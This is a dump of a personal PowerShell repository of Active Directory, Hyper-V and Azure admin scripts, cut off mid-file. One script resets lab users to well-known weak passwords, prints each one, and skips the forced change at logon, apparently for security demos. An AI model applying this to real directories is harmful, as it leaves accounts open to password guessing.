├── Scripts
├── readme.md
├── list_all_DC.ps1
├── list_all_servers.ps1
├── list_all_client_computers.ps1
├── Get-KrbtgtPWLastSet.ps1
├── Run-CommandOnAllServers.ps1
├── CertificateExpirationCheck.ps1
├── New-GMSAAccountInAD.ps1
├── Compress-VHDX.ps1
├── DOWNLOAD-OVER-HTTP.ps1
├── Set-NewUPNPerOU.ps1
├── Operating System Version.ps1
├── AutomatedLab
│ ├── New-BaseImages.ps1
│ ├── Install-SingleEndPoint.ps1
│ └── Source-Lab.ps1
├── Set-NTLMAuditing.ps1
├── Create-RandomPassword.ps1
├── Get-SidHistory.ps1
├── Setup_Ras.ps1
├── New-ADAccount.ps1
├── InstallPackageFromRepository.ps1
├── New VM From File
│ ├── VMConfig.xml
│ └── New-VMFromFile.ps1
├── Get-NetworkStatistics.ps1
├── Set-DemoUsersPasswords.ps1
├── Configure-RRasAsNetGateway.ps1
├── Get-RemoteComputerDisk.ps1
├── Set-AdminSDHolderUsers.ps1
├── Windows Installation Media
│ ├── XMLConfigFIle.xml
│ └── New-WindowsInstallationMedia.ps1
├── Set-ADResetPasswordAtLogon.ps1
├── Convert-PingCastleToCSV.ps1
├── Compact-VirtualDisks.ps1
├── Get-NetPortsProperties.ps1
├── DotNetHardening.ps1
├── Move_IIS.ps1
├── Set-RandomPasswordForGroup.ps1
├── Azure
│ └── Create-AzureResourcegroup.ps1
├── Manage-WindowsAdminCenterDelgation.ps1
├── Load-Module-Function.ps1
├── Get-ADExtendedRights.ps1
├── Match-ADHashes.ps1
├── Merge-StigCheckLists.ps1
├── Get-ADSchemaClassAndAttributes.ps1
├── Search-KerbDelegatedAccounts.ps1
├── Set-OfflineInstallationMode.ps1
├── Set-RDPCertificate.ps1
├── Install-Gateway.ps1
├── Get-RemoteNTLMEvents.ps1
├── Repair-WSUSUpdates.ps1
├── Convert-UsersToContacts.ps1
├── Check-11Bissues.ps1
└── token-magic.ps1
├── README.md
├── Examples
├── Publish-Module.ps1
├── Functions.ps1
├── Generate-Manifest.ps1
└── ResourceGroupBytemplate.ps1
├── Functions
├── Get-WindowsProductKey.ps1
├── Test-PSModule.ps1
├── Get-DomainJoinStatus.ps1
├── Get-OperatingSystemVersion.ps1
├── Test-InternetConnection.ps1
├── Test-FileLock.ps1
├── Remove-RegistryEntry.ps1
├── Install-NuGetPackageProvider.ps1
├── Get-OSType.ps1
├── New-RegistryEntry.ps1
├── Test-AzContext.ps1
└── Repair-WindowsUpdate.ps1
├── .vscode
└── launch.json
└── Modules
├── Test-TCPConnection
└── Test-TCPConnection.ps1
└── Install-RemoteMSI
└── Install-RemoteMSI.ps1
/Scripts/readme.md:
--------------------------------------------------------------------------------
1 | Scripts Folder
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Powershell
2 | This repository contains my PowerShell Script and other PowerShell related stuff.
--------------------------------------------------------------------------------
/Scripts/list_all_DC.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mfgjwaterman/Powershell/HEAD/Scripts/list_all_DC.ps1
--------------------------------------------------------------------------------
/Examples/Publish-Module.ps1:
--------------------------------------------------------------------------------
1 | Publish-Module -Name InstallRemoteMSI -Repository 'PSGallery' -NuGetApiKey "MYAPIKEY"
--------------------------------------------------------------------------------
/Scripts/list_all_servers.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mfgjwaterman/Powershell/HEAD/Scripts/list_all_servers.ps1
--------------------------------------------------------------------------------
/Scripts/list_all_client_computers.ps1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mfgjwaterman/Powershell/HEAD/Scripts/list_all_client_computers.ps1
--------------------------------------------------------------------------------
/Functions/Get-WindowsProductKey.ps1:
--------------------------------------------------------------------------------
1 | function Get-WindowsProductKey {
2 | $WindowsProductKey = (Get-WmiObject -query ‘select * from SoftwareLicensingService’).OA3xOriginalProductKey
3 | return $WindowsProductKey
4 | }
5 |
--------------------------------------------------------------------------------
/Scripts/Get-KrbtgtPWLastSet.ps1:
--------------------------------------------------------------------------------
1 | Get-ADUser -Identity 'krbtgt' -properties PwdLastSet | ft Name,@{Name='PwdLastSet';Expression={[DateTime]::FromFileTime($_.PwdLastSet)}}
2 |
3 | Get-ADUser 'krbtgt' -Properties "msDS-KeyVersionNumber"
4 |
--------------------------------------------------------------------------------
/Scripts/Run-CommandOnAllServers.ps1:
--------------------------------------------------------------------------------
1 | Get-ADComputer -Filter "OperatingSystem -Like '*Windows Server*' -and Enabled -eq 'True'" `
2 | | select -ExpandProperty name | % { Invoke-Command -ComputerName $_ -ScriptBlock { cmd.exe /c gpupdate } } -ErrorAction SilentlyContinue
--------------------------------------------------------------------------------
/Scripts/CertificateExpirationCheck.ps1:
--------------------------------------------------------------------------------
1 | $ExpiresInDays = 500
2 |
3 | $Certificates = Get-ChildItem -Path Cert:\LocalMachine -Recurse | where { $_.notafter -le (get-date).AddDays($ExpiresInDays) -AND $_.notafter -gt (get-date)} | select thumbprint, @{Name="Expires On";Expression={$_.NotAfter}}
4 |
5 | $Certificates
--------------------------------------------------------------------------------
/Scripts/New-GMSAAccountInAD.ps1:
--------------------------------------------------------------------------------
1 | Get-KdsRootKey
2 | Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)
3 |
4 | $ServerAADc = 'cloudidp01'
5 |
6 | New-ADServiceAccount -Name '_gMSA-AADC' -PrincipalsAllowedToRetrieveManagedPassword ('{0}$' -f $ServerAADc) -DNSHostName ('{0}.{1}' -f $ServerAADc, (Get-ADDomain).DNSRoot)
--------------------------------------------------------------------------------
/Examples/Functions.ps1:
--------------------------------------------------------------------------------
1 | function MyFunction (
2 |
3 | [parameter(Mandatory = $true)]
4 | [int]$param1)
5 |
6 | {
7 | $Param2 = $param1 + 1
8 | $Result = $true
9 | return $Result, $Param2
10 | }
11 |
12 | $Result = MyFunction(100)
13 | Write-host "Array members: " $Result
14 | Write-host "Array member 1: " $Result[0]
15 | Write-host "Array member 2: " $Result[1]
16 | $Result.GetType()
--------------------------------------------------------------------------------
/Scripts/Compress-VHDX.ps1:
--------------------------------------------------------------------------------
1 | Param(
2 | [Parameter(Mandatory=$true)]
3 | $vhdxfilespath = "D:\Hyper-V\Virtual Parent Disks"
4 | )
5 |
6 | if(-not(Test-Path $vhdxfilespath )){
7 | Throw "You must supply a valid value for -drive"
8 | }
9 |
10 | $vhdxfiles = Get-childItem -Path $vhdxfilespath -Filter *.vhdx
11 |
12 | ForEach ($vhdxfile in $vhdxfiles){
13 | Optimize-VHD -Path $vhdxfile.fullname -Mode Full -Verbose
14 | }
--------------------------------------------------------------------------------
/Scripts/DOWNLOAD-OVER-HTTP.ps1:
--------------------------------------------------------------------------------
1 | $url = "https://bitsofwatercom.files.wordpress.com/2017/06/native-vhd-boot-a-walkthrough-of-common-scenarios.pdf"
2 | $output = "C:\Users\310244673\Desktop\TEST.PDF"
3 | $start_time = Get-Date
4 |
5 | $wc = New-Object System.Net.WebClient
6 | $wc.DownloadFile($url, $output)
7 | #OR
8 | (New-Object System.Net.WebClient).DownloadFile($url, $output)
9 |
10 | Write-Output "Time taken: $((Get-Date).Subtract($start_time).Seconds) second(s)"
--------------------------------------------------------------------------------
/Scripts/Set-NewUPNPerOU.ps1:
--------------------------------------------------------------------------------
1 | $AddsUPN = "sandbox.lab"
2 | $EntraUPN = "michaelwaterman.nl"
3 | $SearchBase = "OU=Users,OU=Management,DC=sandbox,DC=lab"
4 | $UPNFilter = "'*$($AddsUPN)'"
5 |
6 | $UsersInScope = Get-ADUser -Filter "UserPrincipalName -like $($UPNFilter)" -Properties userPrincipalName -ResultSetSize $null -SearchBase $SearchBase
7 | $UsersInScope | foreach {$NewUpn = $_.UserPrincipalName.Replace("@$($AddsUPN)","@$($EntraUPN)"); $_ | Set-ADUser -UserPrincipalName $NewUpn}
--------------------------------------------------------------------------------
/Functions/Test-PSModule.ps1:
--------------------------------------------------------------------------------
1 | function Test-PSModule {
2 | param (
3 | [parameter(Mandatory=$false)]
4 | [string]$Module
5 | )
6 |
7 | switch ( [string]::IsNullOrEmpty( ( Get-Module -Name $Module -ListAvailable ) ) ){
8 | $false {
9 | Write-Verbose "Module has been located"
10 | }
11 | $true {
12 | Write-Error "PowerShell Module has not been found, please install before continuing"
13 | }
14 | }
15 | }
--------------------------------------------------------------------------------
/Scripts/Operating System Version.ps1:
--------------------------------------------------------------------------------
1 | Param(
2 | [Parameter(Mandatory=$true)]
3 | $OSVersionRequired = '6.1.0.0'
4 | )
5 |
6 | $OSVersion = (Get-CimInstance -Class Win32_OperatingSystem).Version
7 | $Caption = (Get-CimInstance -Class Win32_OperatingSystem).Caption
8 |
9 | if ( [version]$OSVersion -gt [version]$OSVersionRequired )
10 | {
11 | write-output "You're running" $Caption
12 |
13 | } else {
14 |
15 | throw $Caption + " " + "Is not supported"
16 | }
--------------------------------------------------------------------------------
/Functions/Get-DomainJoinStatus.ps1:
--------------------------------------------------------------------------------
1 | function Get-DomainJoinStatus {
2 | [cmdletBinding()]
3 | param (
4 | [parameter(Mandatory = $false)]
5 | [bool]$IsJoined = $true
6 | )
7 | Switch ( Get-CimInstance -Class Win32_OperatingSystem ) {
8 | { ( !(Get-WmiObject win32_computersystem).partofdomain -eq $IsJoined) } {
9 | Write-Error -Message "This machine does not meet the requirements for domain membership status"
10 | }
11 | }
12 | }
--------------------------------------------------------------------------------
/Functions/Get-OperatingSystemVersion.ps1:
--------------------------------------------------------------------------------
1 | function Get-OperatingSystemVersion {
2 | [cmdletBinding()]
3 | param (
4 | [parameter(Mandatory=$false)]
5 | [version]$MinimalVersionRequired = '6.3.9600'
6 | )
7 | Switch ( Get-CimInstance -Class Win32_OperatingSystem ){
8 | {([version]$_.Version -lt $MinimalVersionRequired )}{
9 | Write-Error -Message "$( (Get-WmiObject -Class Win32_Operatingsystem).caption ) is not a supported Windows version."
10 | }
11 | }
12 | }
--------------------------------------------------------------------------------
/Scripts/AutomatedLab/New-BaseImages.ps1:
--------------------------------------------------------------------------------
1 | $labName = 'BaseImagesCreation'
2 | $incr = 1
3 |
4 | New-LabDefinition -Name $labName -DefaultVirtualizationEngine HyperV
5 |
6 | ForEach($OperatingSystem in (Get-LabAvailableOperatingSystem)){
7 | $hostname = "base"
8 | $hostname = ($hostname + ($incr++))
9 |
10 | Add-LabMachineDefinition -Name $hostname -OperatingSystem ($OperatingSystem.OperatingSystemName)
11 | }
12 |
13 | Install-Lab -BaseImages
14 |
15 | Remove-Lab -Name $labName -Confirm:$false
--------------------------------------------------------------------------------
/Functions/Test-InternetConnection.ps1:
--------------------------------------------------------------------------------
1 | Function Test-InternetConnection {
2 |
3 | $Beacon = 'internetbeacon.msedge.net'
4 |
5 | Switch ( Test-NetConnection -CommonTCPPort HTTP -ComputerName $Beacon ){
6 | { ( $_.TcpTestSucceeded -ne $true ) } {
7 | Write-Error -Message 'Cannot connect to the internet, please check your connection and try again.'
8 | }
9 | { ( $_.TcpTestSucceeded -eq $true ) } {
10 | Write-Verbose -Message "Connectivity to $($Beacon) established"
11 | }
12 | }
13 | }
--------------------------------------------------------------------------------
/Scripts/Set-NTLMAuditing.ps1:
--------------------------------------------------------------------------------
1 | # Audit NTLM Authentication in this domain: Enable all - Domain Controllers Only
2 | Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\services\Netlogon\Parameters' -Name AuditNTLMInDomain -Value 7
3 |
4 | # Audit incoming NTLM traffic: Enable auditing for all accounts
5 | Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0' -Name AuditReceivingNTLMTraffic -Value 2
6 |
7 | # Restrict NTLM: Outgoing NTLM traffic to remote servers: Audit All
8 | Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0' -Name RestrictSendingNTLMTraffic -Value 1
9 |
10 |
11 |
--------------------------------------------------------------------------------
/Functions/Test-FileLock.ps1:
--------------------------------------------------------------------------------
1 | function Test-FileLock {
2 | param (
3 | [parameter(Mandatory=$true)][string]$Path
4 | )
5 |
6 | $oFile = New-Object System.IO.FileInfo $Path
7 |
8 | if ((Test-Path -Path $Path) -eq $false) {
9 | return $false
10 | }
11 |
12 | try {
13 | $oStream = $oFile.Open([System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None)
14 |
15 | if ($oStream) {
16 | $oStream.Close()
17 | }
18 | return $false
19 | } catch {
20 | # file is locked by a process.
21 | return $true
22 | }
23 | }
--------------------------------------------------------------------------------
/Examples/Generate-Manifest.ps1:
--------------------------------------------------------------------------------
1 | New-ModuleManifest -Path .\InstallRemoteMSI.psd1 -ModuleVersion "1.0.0.0" `
2 | -Author "Michael Waterman" `
3 | -CompanyName "MichaelWaterman.nl" `
4 | -RootModule "InstallRemoteMSI.psm1" `
5 | -Description "Install a MSI over PowerShell Remoting" `
6 | -PowerShellVersion 5.0 `
7 | -FunctionsToExport "Install-RemoteMSI"
8 |
--------------------------------------------------------------------------------
/Functions/Remove-RegistryEntry.ps1:
--------------------------------------------------------------------------------
1 | function Remove-RegistryEntry {
2 | [cmdletBinding()]
3 | param (
4 | [parameter(Mandatory=$true)]
5 | $DelRegPath,
6 |
7 | [parameter(Mandatory=$true)]
8 | $DelregValue
9 | )
10 |
11 | if ( Test-Path -Path $DelRegPath ){
12 |
13 | If( (Get-Item -Path $DelRegPath).GetValue($DelregValue) ){
14 | Remove-ItemProperty -Path $DelRegPath -Name $DelregValue -Force
15 | }
16 | }
17 |
18 | if (Test-Path -Path $DelRegPath){
19 |
20 | if ( ( (Get-Item -Path $DelRegPath | Select-Object -ExpandProperty property).count ) -eq 0 ){
21 | Remove-Item -Path $DelRegPath -Force
22 | }
23 | }
24 | }
--------------------------------------------------------------------------------
/Functions/Install-NuGetPackageProvider.ps1:
--------------------------------------------------------------------------------
1 | function Install-NuGetPackageProvider {
2 |
3 | [cmdletBinding()]
4 | param (
5 | [parameter(Mandatory=$false)]
6 | [string]$NuGet = 'NuGet',
7 |
8 | [parameter(Mandatory=$false)]
9 | [version]$NuGetRequiredVersion = '2.8.5.201'
10 | )
11 |
12 | Switch ( (Get-PackageProvider -ListAvailable).Name.Contains($NuGet) ) {
13 |
14 | $False {
15 | Install-PackageProvider -Name $NuGet -MinimumVersion $NuGetrequiredVersion -Force
16 | }
17 | $True {
18 | Switch ( Find-PackageProvider -Name $NuGet | Select-Object version ){
19 | { ( [version]$_.Version -lt $NuGetRequiredVersion ) } {
20 | Install-PackageProvider -Name $NuGet -MinimumVersion $NuGetrequiredVersion -Force
21 | }
22 | }
23 | }
24 | }
25 | }
--------------------------------------------------------------------------------
/Scripts/Create-RandomPassword.ps1:
--------------------------------------------------------------------------------
1 | function Get-RandomCharacters($length, $characters) {
2 | $random = 1..$length | ForEach-Object { Get-Random -Maximum $characters.length }
3 | $private:ofs=""
4 | return [String]$characters[$random]
5 | }
6 |
7 | function Scramble-String([string]$inputString){
8 | $characterArray = $inputString.ToCharArray()
9 | $scrambledStringArray = $characterArray | Get-Random -Count $characterArray.Length
10 | $outputString = -join $scrambledStringArray
11 | return $outputString
12 | }
13 |
14 | $password = Get-RandomCharacters -length 8 -characters 'abcdefghiklmnoprstuvwxyz'
15 | $password += Get-RandomCharacters -length 1 -characters 'ABCDEFGHKLMNOPRSTUVWXYZ'
16 | $password += Get-RandomCharacters -length 1 -characters '1234567890'
17 | $password += Get-RandomCharacters -length 1 -characters '!"§$%&/()=?}][{@#*+'
18 |
19 | $password = Scramble-String $password
20 |
21 | Write-Host $password
--------------------------------------------------------------------------------
/Scripts/Get-SidHistory.ps1:
--------------------------------------------------------------------------------
1 | function Report($msg, $logfile)
2 | {
3 | Write-Host $msg
4 |
5 | $msg | Out-File -FilePath $logfile -Append
6 | }
7 |
8 |
9 | $logfile = [System.Environment]::ExpandEnvironmentVariables('%temp%') + "\sidhistorylog.csv"
10 |
11 | Report "Logging to $logfile" $logfile
12 |
13 | $forest = Get-ADForest
14 |
15 | foreach ($domain in $forest.Domains)
16 | { "Domain $domain SID: $((Get-ADDomain -Identity $domain).DomainSID.ToString())" }
17 |
18 | foreach ($domain in $forest.Domains)
19 | {
20 | Report "Inspecting $domain" $logfile
21 |
22 | $users = Get-ADUser -LDAPFilter '(sIDHistory=*)' -Server $domain -Properties sIDHistory
23 |
24 | foreach ($usr in $users)
25 | {
26 | foreach ($sid in $usr.SIDHistory)
27 | {
28 |
29 | Report "$($usr.DistinguishedName);$($sid.ToString())" $logfile
30 | }
31 | }
32 | }
33 |
34 | Report "Finished logging into $logfile" $logfile
--------------------------------------------------------------------------------
/Scripts/Setup_Ras.ps1:
--------------------------------------------------------------------------------
1 | Install-WindowsFeature -Name RSAT, Routing, RSAT-RemoteAccess -IncludeManagementTools
2 |
3 | Set-Service -Name RemoteAccess -StartupType Automatic
4 | Start-Service -Name RemoteAccess
5 |
6 | #Get-CimInstance -Class Win32_NetworkAdapter | select -ExpandProperty NetConnectionID
7 |
8 | #netsh.exe routing ip nat install
9 | netsh.exe routing ip nat install
10 |
11 | # Configures NAT on the specified interface
12 | netsh.exe routing ip nat add interface "Internet"
13 |
14 | # the interface on which you want to enable NAT.
15 | # Full specifies that full (address and port) translation mode is enabled.
16 | # addressonly specifies that address-only translation mode is enabled.
17 | # private specifies that private mode is enabled
18 | netsh.exe routing ip nat set interface "Internet" mode=full
19 |
20 | # Sets the configuration state of the server
21 | netsh.exe ras set conf confstate = enabled
22 |
23 | # Install the DNSProxy
24 | netsh.exe routing ip dnsproxy install
25 |
26 | Restart-Service -Name RemoteAccess
--------------------------------------------------------------------------------
/Scripts/New-ADAccount.ps1:
--------------------------------------------------------------------------------
1 | # Define the account name for Active Directory synchronization
2 | $AccountName = '_srv-ADDSEntAdm'
3 |
4 | # Define the ou where you want to place the new account
5 | $OUservice = 'OU=Service Accounts,OU=Tier 0,OU=Admins,DC=sandbox,DC=lab'
6 |
7 | # Load assembly to generate a random password
8 | $null = [Reflection.Assembly]::LoadWithPartialName("System.Web")
9 |
10 | # Generate the password
11 | $AccountPasswd = [System.Web.Security.Membership]::GeneratePassword(64,0)
12 |
13 | # Write the password to PowerShell console
14 | $AccountPasswd
15 |
16 | # Convert the password as secure string
17 | $AccountPasswd = $AccountPasswd | ConvertTo-SecureString -AsPlainText -Force
18 |
19 | # Create new AD User for AAD Connect
20 | New-ADUser -Name $AccountName -SamAccountName $AccountName -DisplayName 'Entra ID Connect Service Account' -Path $OUservice -AccountPassword $AccountPasswd -Enabled:$true
21 |
22 |
23 | (New-Object PSCredential 0, $AccountPasswd).GetNetworkCredential().Password | Set-Clipboard
--------------------------------------------------------------------------------
/Scripts/InstallPackageFromRepository.ps1:
--------------------------------------------------------------------------------
1 | # the module we are looking for
2 | $OnlineModule = "posh-ssh"
3 |
4 | # Check if the dependend package provider is already installed
5 | $PSRepositories = Get-PSRepository | select PackageManagementProvider
6 |
7 | foreach ($PSRepository in $PSRepositories)
8 | {
9 | $PSRepositoryPackageProvider = Get-PackageProvider | where name -EQ $PSRepository.PackageManagementProvider
10 | if (!$PSRepositoryPackageProvider)
11 | {
12 | Write-Host "Installing $PSRepository.PackageManagementProvider"
13 | Install-PackageProvider $PSRepository.PackageManagementProvider -force -ErrorAction Stop
14 | }
15 | }
16 |
17 | $AvailableModules = Get-Module -ListAvailable -name $OnlineModule
18 | If (!$AvailableModules){
19 |
20 | $OnlineModuleResults = Find-Module -name $OnlineModule -ErrorAction SilentlyContinue
21 | if ($OnlineModuleResults)
22 | {
23 | Install-Module -name $OnlineModule -force -ErrorAction Stop
24 | } else {
25 | Write-Host "Module could not be found" -ForegroundColor Red ; return
26 | }
27 | }
--------------------------------------------------------------------------------
/Scripts/New VM From File/VMConfig.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Scripts/Get-NetworkStatistics.ps1:
--------------------------------------------------------------------------------
1 | Function Get-ListeningTCPConnections {
2 | [cmdletbinding()]
3 | param(
4 | )
5 |
6 | try {
7 | $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
8 | $Connections = $TCPProperties.GetActiveTcpListeners()
9 | foreach($Connection in $Connections) {
10 | if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }
11 |
12 | $OutputObj = New-Object -TypeName PSobject
13 | $OutputObj | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $connection.Address
14 | $OutputObj | Add-Member -MemberType NoteProperty -Name "ListeningPort" -Value $Connection.Port
15 | $OutputObj | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType
16 | $OutputObj
17 | }
18 |
19 | } catch {
20 | Write-Error "Failed to get listening connections. $_"
21 | }
22 | }
23 |
24 | Get-ListeningTCPConnections
--------------------------------------------------------------------------------
/Functions/Get-OSType.ps1:
--------------------------------------------------------------------------------
1 | function Get-OSType {
2 |
3 | [CmdletBinding()]
4 | param (
5 | [Parameter(Mandatory=$true)]
6 | [ValidateSet("Client","Server","DC","ServerDC")]
7 | [String]$OSType
8 | )
9 |
10 | Switch( $OSType ){
11 | 'Client' {
12 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) {
13 | { ($_.ProductType -ne 1) } { Write-Error -Message "This system type is not supported" }
14 | }
15 | }
16 | 'DC' {
17 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) {
18 | { ($_.ProductType -ne 2) } { Write-Error -Message "This system type is not supported" }
19 | }
20 | }
21 | 'Server' {
22 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) {
23 | { ($_.ProductType -ne 3) } { Write-Error -Message "This system type is not supported" }
24 | }
25 | }
26 | 'ServerDC' {
27 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) {
28 | { ($_.ProductType -eq 1) } { Write-Error -Message "This system type is not supported" }
29 | }
30 | }
31 | }
32 | }
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/Functions/New-RegistryEntry.ps1:
--------------------------------------------------------------------------------
1 | function New-RegistryEntry {
2 | [cmdletBinding()]
3 | param (
4 | [parameter(Mandatory=$true)]
5 | $SetRegPath,
6 |
7 | [parameter(Mandatory=$true)]
8 | $SetRegName,
9 |
10 | [parameter(Mandatory=$true)]
11 | $SetRegValue,
12 |
13 | [parameter(Mandatory=$true)]
14 | [ValidateSet('String','ExpandString','Binary', 'DWord', 'MultiString', 'Qword')]
15 | $SetRegPropertyType
16 | )
17 |
18 | switch (Test-Path -Path $SetRegPath ) {
19 | $true {
20 | New-ItemProperty -Path $SetRegPath `
21 | -Name $SetRegName `
22 | -Value $SetRegValue `
23 | -PropertyType $SetRegPropertyType `
24 | -Force | Out-Null
25 | }
26 | $false {
27 | New-Item -Path $SetRegPath -Force | Out-Null
28 |
29 | New-ItemProperty -Path $SetRegPath `
30 | -Name $SetRegName `
31 | -Value $SetRegValue `
32 | -PropertyType $SetRegPropertyType `
33 | -Force | Out-Null
34 | }
35 | }
36 | }
--------------------------------------------------------------------------------
/Scripts/Set-DemoUsersPasswords.ps1:
--------------------------------------------------------------------------------
1 | # Requires: RSAT tools installed and import of ActiveDirectory module
2 | Import-Module ActiveDirectory
3 |
4 | # Top 20 frequently used passwords that pass the policy
5 | $passwords = @(
6 | "Summer23!", "Password1!", "Welcome1!", "Qwerty12#", "Winter24@",
7 | "Spring23#", "Autumn22$", "ChangeMe1!", "Letmein2#", "Monkey99@",
8 | "Admin123!", "October1!", "Football7#", "IloveYou9@", "Shadow88$",
9 | "Superman1!", "Batman77#", "Starwars8@", "Dragon45$", "Ninja2024!"
10 | )
11 |
12 | # Target OU or group - adjust as needed
13 | $users = Get-ADUser -Filter * -SearchBase "OU=Users,OU=Management,DC=lab,DC=internal"
14 |
15 | foreach ($user in $users) {
16 | # Random password from list
17 | $newPassword = (Get-Random -InputObject $passwords)
18 |
19 | try {
20 | # Reset the user's password
21 | Set-ADAccountPassword -Identity $user.SamAccountName -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force)
22 |
23 | # Optional: force password change at next logon
24 | Set-ADUser -Identity $user.SamAccountName -ChangePasswordAtLogon $false
25 |
26 | Write-Host "Updated password for $($user.SamAccountName) to $newPassword" -ForegroundColor Green
27 | }
28 | catch {
29 | Write-Warning "Failed to set password for $($user.SamAccountName): $_"
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/Functions/Test-AzContext.ps1:
--------------------------------------------------------------------------------
1 | function Test-AzContext ([string]$Tenant, [string]$Subscription) {
2 |
3 | $ErrorActionPreference = "Stop"
4 |
5 | switch ( [string]::IsNullOrEmpty( ( Get-AzContext ) ) )
6 | {
7 | # There's already an Azure authenticated connection
8 | $false
9 | {
10 | switch ([string]::IsNullOrEmpty( ( $Tenant ) )) {
11 | $false {
12 | switch ( (Get-AzContext).Tenant.Id.ToLower().Equals( ($Tenant).ToLower() ) ) {
13 | $false { Write-Error "Tenant ID mismatch, please provide the correct id or assume correct Tenant selection" }
14 | }
15 | }
16 | }
17 |
18 | switch ([string]::IsNullOrEmpty( ( $Subscription ) )) {
19 | $false {
20 | switch ( (Get-AzContext).Subscription.Id.ToLower().Equals( ($Subscription).ToLower() ) ) {
21 | $false { Write-Error "Subscription ID mismatch, please provide the correct id or assume correct Subscription selection" }
22 | }
23 | }
24 | }
25 | }
26 | $true
27 | {
28 | switch ([string]::IsNullOrEmpty( ( $Tenant ) )) {
29 | $false {
30 |
31 | }
32 | }
33 | }
34 | }
35 | }
36 |
37 | Test-AzContext -Tenant "F471a60c-d027-4fce-8bea-37665054066f" -Subscription "c737af30-1edc-4f9a-a7c5-4c9a4783b163"
38 |
--------------------------------------------------------------------------------
/Scripts/Configure-RRasAsNetGateway.ps1:
--------------------------------------------------------------------------------
1 | # Get the Installed adapters
2 | Get-NetAdapter | select name, MacAddress
3 |
4 | # Select the adapter
5 | Rename-NetAdapter -Name "Adaptername" -NewName "AdapterNewName"
6 |
7 | # Get the ip address of the internal adapter
8 | Get-NetIPAddress -InterfaceAlias "AdapterName"
9 |
10 | # Set the ip address
11 | New-NetIPAddress -IPAddress 192.168.11.1 -InterfaceAlias "Adaptername" -AddressFamily IPv4 -PrefixLength 24
12 |
13 | # Set the dns configuration
14 | Set-DnsClient -InterfaceAlias "Adaptername" -ConnectionSpecificSuffix "corp.mydomain.com" -RegisterThisConnectionsAddress $false
15 |
16 | #Set the DNS Server
17 | Set-DnsClientServerAddress -InterfaceAlias "AdapterName" -ServerAddresses ("192.168.11.3","192.168.11.2")
18 |
19 | #Disable Bindings
20 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_implat"
21 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_lltdio"
22 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_tcpip6"
23 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_rspndr"
24 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_server"
25 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_msclient"
26 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_parser"
27 |
28 | #Disable netbios over tcp
29 | Invoke-CimMethod -Query 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=1' -MethodName SetTcpipNetbios -Arguments @{TcpipNetbiosOptions=[uint32]2}
30 |
31 |
32 |
33 |
34 |
--------------------------------------------------------------------------------
/Scripts/Get-RemoteComputerDisk.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Gets Disk Space of the given remote computer name
4 | .DESCRIPTION
5 | Get-RemoteComputerDisk cmdlet gets the used, free and total space with the drive name.
6 | .EXAMPLE
7 | Get-RemoteComputerDisk -RemoteComputerName "abc.contoso.com"
8 | Drive UsedSpace(in GB) FreeSpace(in GB) TotalSpace(in GB)
9 | C 75 52 127
10 | D 28 372 400
11 |
12 | .INPUTS
13 | Inputs to this cmdlet (if any)
14 | .OUTPUTS
15 | Output from this cmdlet (if any)
16 | .NOTES
17 | General notes
18 | .COMPONENT
19 | The component this cmdlet belongs to
20 | .ROLE
21 | The role this cmdlet belongs to
22 | .FUNCTIONALITY
23 | The functionality that best describes this cmdlet
24 | #>
25 | function Get-RemoteComputerDisk
26 | {
27 |
28 | Param
29 | (
30 | $RemoteComputerName
31 | )
32 |
33 | Begin
34 | {
35 | $output="Drive `t UsedSpace(in GB) `t FreeSpace(in GB) `t TotalSpace(in GB) `n"
36 | }
37 | Process
38 | {
39 | $drives=Get-WmiObject Win32_LogicalDisk -ComputerName $RemoteComputerName
40 |
41 | foreach ($drive in $drives){
42 |
43 | $drivename=$drive.DeviceID
44 | $freespace=[int]($drive.FreeSpace/1GB)
45 | $totalspace=[int]($drive.Size/1GB)
46 | $usedspace=$totalspace - $freespace
47 | $output=$output+$drivename+"`t`t"+$usedspace+"`t`t`t`t`t`t"+$freespace+"`t`t`t`t`t`t"+$totalspace+"`n"
48 | }
49 | }
50 | End
51 | {
52 | return $output
53 | }
54 | }
--------------------------------------------------------------------------------
/Scripts/Set-AdminSDHolderUsers.ps1:
--------------------------------------------------------------------------------
1 | # PowerShell script with a switch parameter to optionally remove the adminCount attribute
2 | # Users are listed only if the switch is not used
3 |
4 | param (
5 | [switch]$RemoveAdminCount
6 | )
7 |
8 | # Import Active Directory module
9 | Import-Module ActiveDirectory
10 |
11 | # Find all groups with adminCount set to 1
12 | $groupsAdminCount = Get-ADGroup -Filter {adminCount -eq 1} -Properties adminCount
13 |
14 | # Find all users with adminCount set to 1, excluding krbtgt
